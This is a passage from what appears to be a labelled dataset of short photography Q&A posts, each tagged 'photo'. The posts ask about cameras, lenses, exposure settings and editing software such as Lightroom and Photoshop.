achieved it? Feel free to post a Stereoscopic photograph for better understanding. ",['photo'] "Title: not all images show when reading directly from SD card out of Nikon 5100 Body: I shot about 35 images on my new N5100. Turned off the camera, ejected card, inserted it into the SD slot on my Dell 3014 monitor. About 3/4's of the images turned up in the Aperture import window. ... ",['photo'] "Title: Could skipping the 18-55mm kit lens with Rebel T3i be a foolish move, to replace it with a 50mm f/1.8? [duplicate] Body: I am planning to buy a canon Rebel T3i, the additional cost for including the 18-55mm kit lens is only around $50. But since I am on a tight budget, I was thinking about getting a 50mm f/1.8 instead, ... ",['photo'] "Title: What camera equipment do I need for deep space photography? Body: I have a Skywatcher-127 telescope and would like to take some deep space images e.g. globular clusters etc. I have had recommendations about what webcam to use for planetary photography but not deep ... ",['photo'] "Title: Why does the eye dropper in LR Develop module stop working? Body: How do I get the eye dropper tool in Lightroom 4 Develop module to stay on? When I move the eye dropper tool across the image it turns off, and then sometimes turns back on again. Can anyone tell me ... ",['photo'] "Title: Versatile and small flash bracket for Canon 430 Body: I need a flash bracket for macro work. But I'm looking for something versatile and smaller than the big ones I found online. Is there anything I can buy, possibly with a cable that can be connected to ... ",['photo'] "Title: How do metering and aperture setting play together in manual mode (Minolta X-700)? Body: I have been playing around with my mother's Minolta X-700 (objective: Minolta MD 50 mm f/1.7) and though I read the manual (here it is: Manual X-700), I am still unclear about one thing: When I use ... ",['photo'] "Title: How to protect my D7100 on holiday / at sea? Body: I have a Nikon D7100 (which does seem to suggest it has weather proofing), the stock lens (18-105), and the 35mm DX f1.8G prime lens. All are transported in weather proof carry cases. I currently ... ",['photo'] "Title: What are the appropriate lenses for concert photography Body: I have just purchased a full frame Nikon D800 and wonder which are the most appropriate Nikon lenses for shooting in concerts. Edit: The concerts are always indoors, at night, with the artist's ... ",['photo'] "Title: Macro lens for general purpose shooting Body: I have a EOS 650D camera and 50mm prime lens for it. At the moment I am thinking about upgrade and looking for a not too much expensive zoom lens. I read that Sigma 17-70mm F/2.8-4 DC Macro OS HSM ... ",['photo'] "Title: Is there an “Exposure” setting In GIMP comparable to that in Photoshop's Image Adjustments? Body: In Photoshop, there is an Exposure feature in Image-Adjustments-Exposure which changes the image as if you actually changed the shutter speed on the camera. This effect is generally much more ... ",['photo'] "Title: Can I use exposure compensation in manual mode with auto ISO on a Canon DSLR? Body: When I use the auto ISO setting in manual mode I can not find a way to dial in the exposure compensation on my Canon 550D. Is this possible at all? I encountered this in a situation where I wanted to ... ",['photo'] "Title: Is the Yongnuo YN-622C transceiver compatible with the Alien Bee 800? Body: I am thinking about buying a second hand AlienBee 800. I currently have a pair of Yongnuo YN-622C Wireless TTL Flash Triggers for Canon. Would they be compatible with the AlienBee? ",['photo'] "Title: Why does the zoom on my Canon T3i not work? [duplicate] Body: I have a new Canon T3i and was able to take and capture zoomed in photos with the lens that came with the camera(EF-S 18-55mm) as well as a Canon Zoom Lens EF 75-300mm 1:4-5.6. Now when I zoom in ... ",['photo'] "Title: How to do a time lapse for a dying flower? Body: I am planning on doing a time lapse series for art to then pan it and develop it into a cyanotype and since my topic is coloured earth, I'm going to get a flower and document its death. Problem is ... ",['photo'] "Title: What is Auto Aperture Mode on Nikon Speedlight? Body: I am not familiar with the ""Auto Aperture"" mode in Nikon Speedlights. I've been using a non-Nikon flash and I have not tried AA mode before. What is it exactly? ",['photo'] "Title: Is it possible to photograph me without reflections on my glasses? Body: (I have no experience with photography.) I went to a professional photographer to get a few portraits (primarily for identification documents). The photographer made various test shots, tried ... ",['photo'] "Title: Canon EOS Rebel T3I DSLR vs. Canon EOS 60D DSLR [closed] Body: I'd definitely consider myself a beginner but I'm delving into my photography passion and learning more and more everyday to improve my craft. I'm in the process of purchasing a new digital camera and ... ",['photo'] "Title: Setting custom picture control in Nikon D3100 DSLR? Body: How to create custom picture control in Nikon d3100 dslr's? I have tried with my Nikon 3100 without success, I don't know how to do it. ",['photo'] "Title: Why do many mirrorless cameras use the four thirds format? [closed] Body: Since mirrorless cameras are a quite new product (Wikipedia says 2008), what's behind the choice of the 4:3 format (for those that use it)? My first guess would be that 4/3 pictures are made to fit ... ",['photo'] "Title: Creating timelapse on linux [duplicate] Body: I had a really bad time looking around on how to create a timelapse video on linux. After a lot of search I come with my own solution that converts aspect ratio without screwing the photos. ",['photo'] "Title: Software to find sharpest image in sequence? Body: I took a batch of images with slight camera shake. What software is there to automatically find the sharpest image in the batch? What I already found is Imatest's findsharp, but they write: ""Find ... ",['photo'] "Title: Is it better to attach a close-up adapter lens to a Canon 50mm/1.8 or Tamron 18-270mm? Body: I am thinking of purchasing a close-Up lens, which I understand will fit on the front of my existing lenses. I have two different lenses, and can't determine which one would be better for a close-up ... ",['photo'] "Title: Is there a formula to simulate various print size/viewing distances with an LCD monitor at a corresponding resolution %/viewing distance? Body: Is there formulas to simulate various print size/viewing distances on an LCD monitor at a corresponding resolution %/viewing distance? (assuming 20/20 vision) For instance so you could plug in the ... ",['photo'] "Title: How much to zoom while shooting a single row panorama image? Body: Matt Grum mentions in a comment on an answer related to locking parameters when shooting a panorama that it is beneficial to zoom out on the middle section of the image while shooting a single row ... ",['photo'] "Title: Black Bar on Images Above 1/2000 Canon XSi [duplicate] Body: Has anyone ever had this happen on any camera/lens/setup? From what I've googled, could be a shutter failing to close fast enough. Broken Images Link - I have the test shots from after the game at ... ",['photo'] "Title: How to emulate the In-camera processing into Lightroom? [duplicate] Body: First off, I'm a beginner in matters of digital photo processing (and photography for that record). I already know that the RAW file is a dump of raw sensor data with no processing whatsoever applied ... ",['photo'] "Title: Why do photos look blurry in Aperture but sharp in Mac OS X Finder? Body: I see a strange behaviour in Apple's Aperture (latest version). When I import pictures taken by a Samsung NX1000 into Aperture and open a pic, at first it looks sharp — but after less than a second, ... ",['photo'] "Title: Will old K-mount lenses have the same field of view on Pentax K01? Body: Will old K-mount lenses have the same field of view on Pentax K01? Or, will 50mm lens (made for 35mm film) function as a 75mm lens? ",['photo'] "Title: Why do some people say to use 0.007 mm (approximate pixel size) for the CoC on a Canon 5DM2? Body: The 5DM2 pixel size is approximate 0.00645mm in size and so some people talk about using 0.007mm as the CoC. I think canon said once they use 0.035mm for DOF charts, full frame normal is 0.033mm, ... ",['photo'] "Title: Canon 70-200mm F4 L USM IS Focus Issues Photo All Soft? Body: Focus Issues Bought myself a used Canon 70-200mm F4 L USM IS Lens but as yet I've not achieved a single Sharp image list of various settings tried attempts so far and still no joy very frustrating. I ... ",['photo'] "Title: Best way to produce photo books out of Lightroom? Body: I'm disappointed with the book module in Lightroom 4. It seems to be bound to one single publisher (blurb) and while I don't even mind using blurb, the biggest disappointment is that you cannot ... ",['photo'] "Title: Could I do glass plate photography myself domestically? Body: Hi I recently came across an old photographers works called Gilletta. He worked in Nice, France around the turn of the 20th century. A lot of his works are still in pristine condition because the ... ",['photo'] "Title: Is this sound normal for a Nikkor 55-200 VR? Body: I just bought a Nikkor 55-200 mm 1:4-5.6G ED for my D5000 and I found that if VR is enabled two things happen after I half press the shutter, wait for the lens to focus and release it: I hear a ... ",['photo'] "Title: Is there a remote shutter wi-fi app for the canon 6D for time lapse photography? Body: I use the EOS Remote app but you can only take single shots and bursts ie. no timer controlled shots like you can do with a remote shutter for time lapses. Surely there must be an app out there that ... ",['photo'] "Title: What could be the best printing medium for this image? [closed] Body: I am not a photographer or an artist by any means. I simply would like everyone's opinions on what would be the best medium to print this image to. I was leaning towards getting it printed on canvas ... ",['photo'] "Title: Is it possible to combine compact camera portability with professional SLR quality? Body: I am not an expert in photography, so please don't be too harsh on me if I am making absurd statements. My question is: Is it really possible to combine compact camera portability with professional ... ",['photo'] "Title: What is lomography? Body: I've been seeing some buzz about lomography lately. I've been trying to understand what it is and how it is different from photography. Most refer to it as 'experimental analogue film photography'. Is ... ",['photo'] "Title: How can I defocus part of an image in-camera separate from depth of field effects? Body: What physical tools (lenses/filters/etc) can be used to blur a part of an image whilst taking the photo. (I don't mean software filters in post-processing, and I want to blur selective areas ... ",['photo'] "Title: Apple Aperture profile name (sRGB IEC61966-2.1 vs Camera RGB Profile) Body: I have a bunch of duplicate photos in Aperture. They came from separate iPhoto libraries. Some of the photos have the profile name sRGB IEC61966-2.1 and others Camera RGB Profile. Which should I ... ",['photo'] "Title: What is a good lens for a Canon 5d for birds/wild life with a budget of 1500 dollars Body: I am planning to buy a Canon 5d mark III, for landscape, wild life and bird photography. What would be an ideal lens with a budget of 1500-2000 dollars? And specifically, what is your opinion on the ... ",['photo'] "Title: Think Tank Urban Disguise vs Gura Gear Chobe Body: I presume it's acceptable to ask questions about photography gear here. I've recently bought a Sony NEX-6 and two lenses (Sony 18-200mm zoom & Sony Zeiss 24mm F1.8). I plan on acquiring one or ... ",['photo'] "Title: How do you know if the shutter button is misfunctioning? Body: I have a Panasonic GH3. It is very difficult to partially press the shutter button to focus as it often takes a picture at the slightest pressure. I thought this was my inexperience, but a couple of ... ",['photo'] "Title: Why do people tend write “RAW” instead of “raw”? [duplicate] Body: Given that in the English language using all-caps means that the word is an acronyms or initialism (e.g., NASA, RCMP), ""RAW"" doesn't make much sense--unless there's some longer term that ""RAW"" stands ... ",['photo'] "Title: How can I modify a webcam to use an SLR lens? Body: I want to place a webcam between 6m (20ft) and 12m (40ft) from my subject and have a capture width of 3m (10ft). If I understand the formula, with an estimated sensor width of 8.46mm (1/3""), I need a ... ",['photo'] "Title: If I look down at the viewfinder of my 5D III, I can see a part of the reflected image under the main view finder screen, is it normal? Body: I have a 5D mark III, but when I see the viewfinder from a slightly higher position, I can see another ""screen"", possibly a part of a reflected image under the main viewfinder image, is it normal? I ... ",['photo'] "Title: How does the image quality compare between these lenses? [duplicate] Body: Want to buy a zoom lens for Nikon D5100 [now only have the kit lens 18-55mm]. I've selected these options AF Zoom-NIKK0R 70-300mm f/4-5.6G Tamron AF 70-300mm F/4-5.6 Di LD Macro Sigma 70-300mm ... ",['photo'] "Title: What is the better Nikon primes among 50mm/1.8G, 50mm/1.8D and 35mm/1.8G for my D3200? [duplicate] Body: which is a better prime lens for my Nikon D3200? nikor 50mm f 1.8g or nikor 50mm f 1.8D or nikor 35 mm f 1.8G ?? nikor 50mm f 1.8 is much cheaper. Though money is a constraint for me if the other ... ",['photo'] "Title: What Equipment Is Required For Split-Underwater Photography? Body: How are split-underwater photographs made? What equipment is needed? Does it exist for various types of cameras? Bonus for hints on how to use the said equipment. ",['photo'] "Title: How large an exposure difference before it's noticable? Body: I'm being forced to work with a shutter that jitters (e.g., a 1/60 shutter could be anywhere between 1/59 and 1/61). I can't change the hardware, so please don't suggest that. I would if I could. ... ",['photo'] "Title: How to shoot an event in a long living room with a large french window on the shorter side? Body: I sometimes have to shoot in an enclosed space, a living room that is somewhat similar to the picture below. There generally is a large French window on one side that is streaming in sunlight of late ... ",['photo'] "Title: How do I choose between 24-70 f/4 and 24-105 f/4 Canon lens? Body: I am getting a new medium range zoom lens for general use and occasional weddings. This new 24-70 f4 was top of my list until I watched this review: Canon 24-70 f/4L IS vs Canon 24-105 f/4 IS - ... ",['photo'] "Title: Where does the strange purple/blue glow around the headlight wearing subject's front come from? Body: I've found that a few of my recent trip photos have this odd artifact/ghosting resulting in a blue/purple glow around the helmet(see below pic): I've found this question which i think relates to ... ",['photo'] "Title: What is the market share between Canon and Nikon in the US? Body: I can't seem to find reliable data indicating the market share of DSLRs here in the US between Canon and Nikon. Most that I've talked to have always argued that Nikon and Canon are pretty evenly ... ",['photo'] "Title: Any recommendations on Ultra Wide Angle Zoom lens (at least 12mm) for Canon Full Frame models that also can mount filters? Body: I was searching for a Ultra Wide Angle zoom lens (at least 12mm) for natural scenery shooting for my 5D mark III that has to be able to mount ND filters (I have a LEE nd system), but unfortunately, I ... ",['photo'] "Title: Why are there no digital cameras with ultra-bright integrated lenses, like f1.0, f1.2 or even f1.4? Body: Why are there no digital cameras with ultra-bright integrated lenses, like f1.0, f1.2 or even f1.4? One would think that with smaller sensors vs. film, it would be much cheaper to build an ... ",['photo'] "Title: How can a fast-moving satellite take clear pictures of space objects? Body: How does a fast moving satellite or a probe take those clear pictures of space objects like asteroids, Jupiter, etc? Doesn't the picture get blurry when objects move? (from Il Hwan Lee via Quora) ... ",['photo'] "Title: What are the optimal settings for scanning photos? Body: I would like digitalize all my photos and I bought the Canon CanoScan 9000F. I have no problem of space and hence want to scan the photos with the highest possible quality. For a printed photo, is ... ",['photo'] "Title: Do the differences in DIGIC engine affect RAW files in EOS 600d and EOS 650D? Body: EOS 600D use DIGIC 4 while EOS 650D use DIGIC 5. Does this produce different raw file? That is, is data collected from the sensor processed by the DIGIC X before saving? ",['photo'] "Title: How do I shoot in tethered mode using own software to control the camera? Body: Is it possible to capture image from computer with Canon EOS camera and save it to computer? Can the EOS utility used for this? I want to use my own software (written in Java) to control the camera ... ",['photo'] "Title: What does infinity focus mean and when should I use it? Body: All my lens have focus ring where at the end there's an infinity symbol. What does that mean? If I'm taking landscape shot and what everything from near to far to be in focus, do I use infinity? Or am ... ",['photo'] "Title: Do crop sensors on SLRs changes the depth and flatness of the objects as well? (in comparison to same focal length on full frame sensors) Body: 1- I know different focal lengths change the depth and flatness of an objects in the picture. For examples longer focal lengths make objects appear flatter so they will be appropriate for portraits. ... ",['photo'] "Title: What are the effects/filters being used in these pictures? Body: What are the special effects and filters that applies in these pictures: http://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash3/933920_650214808328552_285093563_n.jpg ... ",['photo'] "Title: How do I choose a lens that does portraits, star photography and landscapes? Body: I'm wondering if you can help me to choose between Canon EF 28mm f/1.8 USM Wide Angle (without IS) and the Canon EF 24mm f/2.8 IS USM Wide Angle Lens for portraits, landscape and star photography. I ... ",['photo'] "Title: Why does a bigger sensor have better dynamic range? Body: I already understand all the theory behind how a bigger sensor leads to better control of depth of field, and lower noise. But I've yet to find a place that can explain why a bigger sensor gives you a ... ",['photo'] "Title: Just upgraded to a newer version of Photoshop, how do I get Lightroom to recognize it? Body: I had PS5.1 when I installed LR4 and now I have CS6, but LR4 still opens everything in CS5.1. How do I make it open everything in CS6? ",['photo'] "Title: What software should I use to create a slideshow with music? [closed] Body: I'm looking for a software package that allows me to create a slideshow with music. In particular, I would like to be able to set the duration of each picture, in order to sync up with the music. ... ",['photo'] "Title: Do I risk damaging my camera if I use an aftermarket AC adapter? Body: I am looking at AC adapters for my Canon 50d. The Canon original is several times as expensive as some of the aftermarket options that I have found. Do I run any significant risk of damaging my camera ... ",['photo'] "Title: How can I export 16 bit tiffs with Mac OSX' imageing engine sips? Body: I'm playing around with Apple sips command. When I export a Canon raw file (CR2) to tiff via sips -s format tiff -out img.tiff img.cr2 the result is an 8-bit tiff, although the CR2 source is ... ",['photo'] "Title: What settings are ignored while shooting RAW [duplicate] Body: I have just started shooting in RAW. I was wondering what settings are completely ignored while shooting in RAW. Picture Control (Standard,Vivid, Neutral etc) Exposure Compensation White Balance ... ",['photo'] "Title: How to simulate different focal length and sensor size on an image? Body: I like to simulate different focal length and sensor size based on an image i have taken. I have a full frame body so I like to know how the picture would look like if I have taken with a cropped ... ",['photo'] "Title: How do you choose among different 70-300mm lens for Nikon DSLRs? Body: I have a Nikon D5100 and it's my first dSLR. I've played with the kit lens for a while and now want to explore the zoom category. I've shortlisted these 70-300mm lenses: Nikon AF Zoom-Nikkor ... ",['photo'] "Title: Can anyone tell me what camera/lens this is? Body: Where would I look on the camera to figure out the specifications of this camera? I've never really owned a camera before. http://members.accesscable.net/~brent/pics/nikonf.jpg ",['photo'] "Title: Can I convert raw files to TIFFs via the command line using Apple's converting engine? Body: I want to convert from the command line a bunch of RAW files into tiffs using the same converting engine as Apple's Aperture or Preview (in order to get the same results as from these applications). ... ",['photo'] "Title: The “WOW” factor for photojournalism, nature and portrait photography. [closed] Body: Okay, this is an open discussion with no specific answer/s required, just a pure discussion, personal experiences are welcomed. What are the WOW factors that both the viewers (including those non ... ",['photo'] "Title: Are there issues with using Cokin/Lee style filter systems with compact cameras? Body: I'm interested in trying Cokin filters (or a similar system) on my Lumix LX-5. Has anyone had success with this, and are there pitfalls to be avoided such as vignetting on wide-angle shots? I've ... ",['photo'] "Title: Is there a glossary of camera metadata terms? Body: I'm trying to learn to interpret my camera's metadata (Exif) tags (if ""tags"" is the right word) as they appear in Adobe Bridge. I'm seeing some terms I don't understand and I was wondering if there ... ",['photo'] "Title: Why do Canon EF and EF-S lenses exhibit the same crop factor? Body: I have a Canon 7D, which has a crop factor of 1.6x. When using a Canon EF-S lens I get the focal length stated on the lens, when using a Canon EF lens I get the focal length times 1.6 when used on ... ",['photo'] "Title: Why are CF cards so much more expensive than SD cards? Body: I have noticed that two cards -one CF and one SD - from the same manufacturer, with the same specifications have a significant difference in cost. The CF card costs several times more than the SD ... ",['photo'] "Title: Is the 7d truly the successor to the 50d? Body: I have seen in several locations the statement that the Canon 7d is the true successor to the 50d despite the different places that they occupy in the lineup. Is this an accurate statement, and why? ... ",['photo'] "Title: Nikon Lens Warranty explanation Body: I want to purchase a good lens of about $1K from Nikon (the 18-300mm lens for example) and I have a few quick questions about the Nikon Lens warranty. I researched online extensively and it seems ... ",['photo'] "Title: Why aren't DSLR silent shooting modes enabled by default? Body: Regarding Canon's silent shooting mode: I have not experienced it personally but people say it is really great for certain situations like weddings, and places where the noise of your camera mirror ... ",['photo'] "Title: How to choose a screen protector? Body: I've noticed there are several different types of screen protectors present for DSLR cameras. I've actually used and tested all of them, but i'm interested to see what the wider community feels and ... ",['photo'] "Title: How can I check for damage to my lens from impact with a window? Body: I was taking a photo at an airport when I accidentally zoomed my Canon SX40HS into a window. The impact wasn't super hard, but there was a thump. I cannot see any visible damage, but how can I check ... ",['photo'] "Title: Does the human eye see moiré? Body: I was just looking at a highrise building whose windows had a horizontal grill in front of them. There were several clothes drying in these windows and the sun was casting shadows on the cloth. The ... ",['photo'] "Title: Set RAW as standard on reset Nikon D700 Body: Is there any way to set RAW image quality / file type to be the standard setting when resetting a Nikon D700? I often/always start a photo shoot by resetting my camera (holding QUAL and +/- for a ... ",['photo'] "Title: Signal:noise ratio not really decreasing with ISO for Pentax Body: In SNR graphs for Pentax K-30 and Pentax K5 there is something I do not get. For ISO after 1600 the SNR doesn't really decrease. Moreover comparing with Nikon D3200, we can clearly see that until ISO ... ",['photo'] "Title: How was this image where a person appears to lift a paved road created? Body: Since the development of advanced photo editing programs like Adobe Photoshop, artists use unusual techniques supported by creative imagination to produce unrealistic but conceptional images. Among ... ",['photo'] "Title: What is the device made from lots of cameras shown in this picture? Body: What is this device that the person is holding as shown this picture, and what is the purpose of such device? ",['photo'] "Title: Can Photoshop apply duotone through adjustment layers? Body: Is it possible to apply duotone through an adjustment layer? Like this: Adjustment layer: duotone Adjustment layer: black and white Ground layer: original color file (smart object) I don't need ... ",['photo'] "Title: How was contrast increased back in the film days? Body: How was the contrast increased with film? One technique is given in this answer and involves Selenium. Are there other methods that were/are used to increase contrast in a photo taken on film? ",['photo'] "Title: Anyone suggests Zeiss 100mm f2 macro planar? Body: I seriously consider Zeiss 100mm f2 ZF.2 macro planar for my Nikon D800. I want to use it for portraits, macros and tight landscapes. Macro ability is a plus but it's not weather sealed so there may ... ",['photo'] "Title: Will it be a significant drawback to use a Nikkor af 70-300mm f/4-5.6G on an Nikon body without an AF motor? Body: I am a beginner at the moment and I am planning to buy Nikon D5100 + Nikon Nikkor AF 70-300mm f/4-5.6G, also with the kit lens (18-55mm VR lens). My question is both the camera and this particular ... ",['photo'] "Title: How do I choose between a Canon 1100D or 700D when I'm overwhelmed by info? [duplicate] Body: I am keen to take pictures of food in natural light and now seeking an SLR. I have narrowed it down Canon's 1100D or 700d. There so much info out there, it has made it more difficult to choose. What's ... ",['photo'] "Title: How does one do light painting with in focus subject? Maybe a composite? Body: I understand and have tried some rudimentary light painting, but I'm still not sure how one might achieve something like the photos here: http://www.modelmayhem.com/portfolio/pic/18221422 Is this ... ",['photo'] "Title: How can I capture vivid color and detail in relatively dark, indoor cafe? Body: The photo below was taken with a point-and-shoot camera of a cafe area I designed. I plan to return and take a better photo with my Nikon D7000. Thanks to the skylight, the lighting in the foreground ... ",['photo'] "Title: Do extension tubes work well with the AFS VR micro nikkor 105mm f/2.8G? Body: Has anyone who owns the Micro Nikkor 105mm f/2.8 G used extensions tubes with it? How does the lens perform in this case? I'm interested in getting magnification beyond 1:1. Will this help, and are ... ",['photo'] "Title: Can I save the JPEG preview image that's generated in-camera when I shoot in RAW-only mode? Body: When you're shooting in RAW-only mode (not RAW+JPG), most (all?) cameras also generate a JPEG preview using the current style settings. This is what you see momentarily when you first import the image ... ",['photo'] "Title: How to build your own External Power Supply for Canon Powershot G7? Body: I was reading CHDK forums and was trying to find how to build a DIY external power for my Canon powershot g7. I can't find the ACK DC20 where I live. Anybody have any guide for this? ",['photo'] "Title: What is the added value of a panorama head? Body: As an amateur I've done several panoramas of landscapes and city views. I've mostly done it hand-held with a DSLR, with exposure lock and at the wide end of my zoom-lens. I do the stitching in ... ",['photo'] "Title: Whats the approximate aperture of a pinhole camera? Body: There are plenty of different pinholes you can make! Assuming I am being a little bit less creative and I am making a matchbox pinhole camera lens using a drawing pin in a sheet small sheet from an ... ",['photo'] "Title: Is there any downside to using a knock-off lens hood? Body: Canon prices on these things are crazy, has anyone had a problem with a knock-off? What factors should I consider when evaluating a lens hood? $2.95 Lens Hood from China $31.84 Lens Hood from ... ",['photo'] "Title: What color temperture produces warmer tones? Body: With two sources of light: an incandescent light approximate color temperature of 3000 K, sun with an approximate color temperature of 6000 K. W Which source produces warmer tones? Consider ... ",['photo'] "Title: When to use which of Fujifilm X Camera's Film Simulation options? [duplicate] Body: I've been using the Fuji X-E1 for several months now and I'm still quite confused on when to use the film simulations like Astia, Hi-Pro neg & Neg standard. In what particular scenario should I ... ",['photo'] "Title: What is a good photo and video host site [duplicate] Body: I am looking for a photo and video hosting site for private/family use. I currently use Picasa Web/SkyDrive, and with Picasa Web moving into Google+ I don't like the photo interface and SkyDrive has a ... ",['photo'] "Title: Why is resolution more important for landscape photography? Body: I have heard countless times that ""resolution is of utmost importance for landscape photography"". This also comes up often when landscape photographers look to medium format for it's detail and ... ",['photo'] "Title: Subject out of center — what is correct term? Body: Composition which consists of placing the topic or main subject to the side and never in center of the picture: does that technique have a name? ",['photo'] "Title: How to reduce size of a jpeg image in Photoshop? Body: I'm trying to reduce the size of my photo. I have tried all solutions given on this website. My current image size is 159 KB and I have to reduce to 10 KB with 5L x 3.6w. ",['photo'] "Title: For MTF, why does 10 represent contrast while 30 represent resolution? Body: I'm trying to learn to read MTF charts. Everything is making sense to me, except why most explanations of MTF will refer to the 10 l/mm line as a measure of contrast while referring to the 30 l/mm ... ",['photo'] "Title: How can I undo an intentional Gaussian blur when I don't have the originals? Body: I have a bunch of old pictures which I had performed a Gaussian blur on to use in a competition years ago and have now realised I do not own the originals anymore. Does anyone know of a tool out there ... ",['photo'] "Title: Is it possible to have exposure decrease programmatically when batch processing in Adobe Camera Raw? Body: I am editing a batch of about 1000 photos in Camera Raw. There are certain settings like contrast or clarity that will be the same for all of them. But with the Exposure, I would like to have the ... ",['photo'] "Title: How can I get to 400mm+ for wildlife photography on a budget of around £1000 with a Canon DSLR? Body: I am asking a question that might have been asked many times in the past. However, I like to hear some advice for my situation so. Basically I am looking to invest some money on my photography for ... ",['photo'] "Title: Why would someone want a 58mm-58mm filter ring? Body: I don't even know what to call this thing. It's been sitting in a box of camera stuff for a while and I have forgotten where it came from. ",['photo'] "Title: Water spots inside brand new lens? Normal or reason to return? Body: I bought a new lens, and discovered two stains/spots which look like water spots on the rear side (side which is plugged to the body). These stains are from the inside. I have taken a couple of ... ",['photo'] "Title: How can I shoot in a studio at the widest apertures? Body: I ran into a limitation while shooting a newborn baby this weekend. I was indoors next to a set of windows. I was also using an off camera flash on a stand through an umbrella. The flash was a Canon ... ",['photo'] "Title: Why does the LCD show only black in Live View in manual mode on T3i, until I half-press the shutter? Body: I am trying to use my T3i in M mode and also use live mode. I don't seem to get an image on the LCD screen unless I press the shutter button 1/2. As soon as I take the picture the LCD screen goes ... ",['photo'] "Title: Is there a quiet, affordable Nikon F mount camera (for timelapse)? Body: I'm planning to set up a long-running timelapse system to capture the view from my new office building. The problem is, other people work near me, and I don't want to disturb them with camera sounds ... ",['photo'] "Title: Is there any different process of sharpening in different genres of photography or not? Body: In most photos, according to the subject and genre of photography which you choose, having sharper edges/details is desired, but I am not sure if there is a different process for different genres or ... ",['photo'] "Title: How close can a Nikon 1 J1 with 30-110mm lens “zoom in” to a shot? Body: I am trying to decide which camera to buy. Have looked into both the Nikon Coolpix P100 and 1 J1, and feel that the 1J1 is more adaptable, and has many features that I'd like to enjoy. But, I'm ... ",['photo'] "Title: Why are so many kit-lenses parfocal if it's an expensive feature? Body: According to this answer, parfocal lenses (lenses that can zoom in/out without losing focus) are relatively rare and more expensive. However, the original poster's kit-lens is parfocal. ... ",['photo'] "Title: How do I preserve commas when exporting metadata from Lightroom to csv? Body: I am using LR/Transporter to export metadata from Lightroom to a .csv file. For the most part this works flawlessly. However, if I have a comma in the Caption field anything after that comma gets ... ",['photo'] "Title: What is the best way to photograph a marathon? Body: I've had trouble finding information on how to best photograph action at a marathon. I don't mean tips for finding locations, ideas, etc, but rather technical tips for a beginning photographer to ... ",['photo'] "Title: Why are large aperture lenses so expensive? [duplicate] Body: Why are lenses with very large apertures so expensive? For example, generally speaking, there is a significant price difference between a f/1.8, f/1.4 and f/1.2 lens of the same focal length. Doesn't ... ",['photo'] "Title: What method can I use to create an indoor panorama? Body: I want to create a stitched indoor panorama of a medium sized greenhouse (which is about 10x20m in size). I have created many, many landscape and cityscape panoramas before using a long lens (say ... ",['photo'] "Title: What DSLR to buy? Budget $800-1k [closed] Body: I am a beginner trying to get into photography. So far my only experience has been with point and shoots and I am looking to upgrade to DSLR. My budget is around $800 to $1k. Any suggestion would be ... ",['photo'] "Title: Tele-zoom lens choices for Nikon 1 J1? Body: I recently got a Nikon 1 J1 camera and would like a bigger lens, I've been looking on the internet for answers but can't seem to find anything. I was looking for a 30-110mm size or larger at a ... ",['photo'] "Title: What post processing should be done to my photographs of the aurora borealis to improve colours and impact? Body: I have included links to 2 RAW images ( I've also put the JPEG images up) that I took in Iceland last month where I was very fortunate to see the northern lights on two different nights. The ... ",['photo'] "Title: Nikkor AF-S 28-70mm 1:2.8 D autofocus problem Body: I had this lens for quite a few years now, it used to work as expected. I didn't use my stuff for a few months, maybe 6-8 months. I just bought a D600 and tried to use them. The AF does not work as it ... ",['photo'] "Title: Canon DSLR USB Chargers? Body: I'm wondering if there are any USB chargers available for canon DSLRs. I often head out for extended periods of time without electricity with my camera gear which always makes me nervous about when ... ",['photo'] "Title: How to retouch to correct lights from an amateur photo shoot? Body: We did an amateur photo shooting for a new clothing brand but had some lack of good lighting. Some pics can be seen at www.tahara.es What kind of retouching could be recommended on Lightroom or PS? ... ",['photo'] "Title: Contrast (or dynamic range) enhancement for very bright images [closed] Body: I have a scientific application where I have a very bright image - basically a laser beam cross-section - and want to detect very small variations in brightness (around 0.01% or less) within it. ... ",['photo'] "Title: How to troubleshoot a Nikon D5100 that will not autofocus at all? Body: A good friend of mine has a d5100, which was working perfectly fine yesterday. Today, however, it refuses to autofocus at all - it makes no effort to move the focusing ring etc. I have tried ... ",['photo'] "Title: What settings affect how the focus points are displayed for my 7D? Body: My Canon 7d is about 2 months old. I used it for a shoot in DC, and it just isn't behaving as expected. When I try to focus, I get little black boxes in the focus frame. They used to be black, with ... ",['photo'] "Title: How to prevent Lightroom's preview folder from growing large? Body: I'm currently transferring my Lightroom catalog from my laptop to my new desktop PC. I decided to copy both the catalog file itself and the preview files (folder Lightroom 3 Catalog Previews.lrdata). ... ",['photo'] "Title: Why isn't the focus indicator light showing when focused on my Canon 5D Mark III? Body: I've been working with two different Canon EOS 5D mark III cameras, and had the same problem with both. When auto-focusing I have two kind of indicators when the image is focused on a certain point. ... ",['photo'] "Title: Capturing the Milky Way: what did I do wrong? Body: Back when I was a beginner in photography (I mean, a real one, using auto settings and stuff), I made this shot of the beautiful Finnish sky: Settings: 30 sec, f/5, ISO 3200, 18 mm Gear: Nikon D60 ... ",['photo'] "Title: What camera settings esp. shutter speeds to use while driving? Body: I haven't been able to get very good pix while in a car thats driving at about 75-95 MPH -any advice what kind of settings to use? How fast should I set the shutter speed in proportion to MPH? ",['photo'] "Title: Canon EOS 650D + Canon 50mm f/1.8 lens calibration Body: I have the Canon EOS 650D with Canon 50mm f/1.8 II lens. After some tests I mentioned that I have ~1cm front focusing (see this question). Is there any way to calibrate Camera/Lens without ... ",['photo'] "Title: Where lays the border between correcting photo and creating a new one using PC? Body: There are two physical different steps on creating the photo: Actual shooting (including preparing to shooting) Post processing on PC (all what starts after downloading the photo to PC) On the ... ",['photo'] "Title: Saving as PDF with JPG compression vs saving it as JPG Body: I am creating a booklet with a hight resolutio (more than 4800 pixels height) and I am about to print it. My question is, what is better in terms of quality: Saving each page as a PDF with JPG ... ",['photo'] "Title: If I mount a (heavy) cine lens on a DSLR, does it need additional support? Body: I'm shooting some video and I'm renting a Zeiss CP.2 50mm which is a whopping 2 pound lens. I'd like to mount it on a Canon 7D. Will the lens need some sort of additional support apparatus (i.e. the ... ",['photo'] "Title: What are the basics of Photography? [closed] Body: I am new to this site and extremely interested in photography. I want to know what are the basics one should know while capturing a picture, and what are the prerequisites required to learn? ",['photo'] "Title: What is the process involved in acquiring permission to photograph within a mall? Body: I have a client who needs to shoot a video of walking into a mall to a kiosk where he will be selling products. The problem is he has gotten kicked out of every mall he has tried to film inside ... ",['photo'] "Title: Fast-loading image viewer (without double-buffering) to replace ACDSee? [closed] Body: Throughout the years, I have been looking for an image viewer to replace the ageing ACDSee 2.43 (classic). The key feature I'm 